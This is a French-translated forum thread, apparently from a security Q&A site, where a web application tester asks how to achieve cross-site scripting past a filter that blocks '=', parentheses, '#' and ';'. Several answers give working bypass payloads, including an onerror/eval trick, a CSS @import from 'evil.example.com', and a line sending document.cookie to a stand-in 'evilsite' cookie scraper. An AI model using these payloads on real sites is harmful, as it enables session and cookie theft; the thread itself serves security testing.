web-dev-qa-db-fra.com

Cross Site Scripting sans caractères spéciaux

Je teste une application Web et j'ai trouvé une vulnérabilité XSS. Je peux casser une balise et injecter du code dans l'application mais rien de potentiellement dangereux pour le client.

L'application a un filtre qui détecte les caractères spéciaux et certaines chaînes, ainsi je peux contourner le filtre pour la reconnaissance de chaîne en injectant des valeurs nulles (<scr% 00ipt>) entre ses caractères, mais je ne sais pas comment le contourner pour un seul caractère.

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

Le filtre n'utilise pas la conversion de caractères et lorsqu'un élément interdit est détecté, il affiche un message d'erreur: Paramètres non valides détectés

Peut-être que je manque quelque chose, mais aujourd'hui, je ne vois pas comment exécuter javascript dans ces conditions. Une idée?

22
Nucklear

Oui, c'est possible. Il y a une astuce que vous pouvez faire avec onerror:

<img src=x onerror=eval;throw'=alert\x281\x29';>

throw génère une chaîne JavaScript qui est ensuite retransmise en eval car le throw constitue une erreur. Cela vous donne une injection JavaScript arbitraire complète.


OK, vous dites donc que nous ne pouvons pas utiliser un signe égal. Au lieu de cela, je suggère cette astuce:

"><style>@import'http://evil.example.com/xss.css';</style>

Cela inclut un fichier CSS tiers dans la page. De là, vous pouvez lancer JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

Il existe également autres astuces que vous pouvez utiliser pour obtenir l'exécution JavaScript de CSS.

23
Polynomial

Le blocage des parenthèses est étrange, je ne suis au courant d'aucune attaque que cela empêche. XSS sans parenthèses est possible .

Pour les navigateurs qui support svg :

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

Si vous voulez juste un PoC simple, cela devrait fonctionner:

<script>onerror=alert;throw 1;</script>

Mais un exploit réel ne nécessite pas de parenthèses:

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
19
rook

Astuce simple avec VBScript: <input onfocus=vbs:msgbox+1> [fonctionne dans IE]

2
satishb3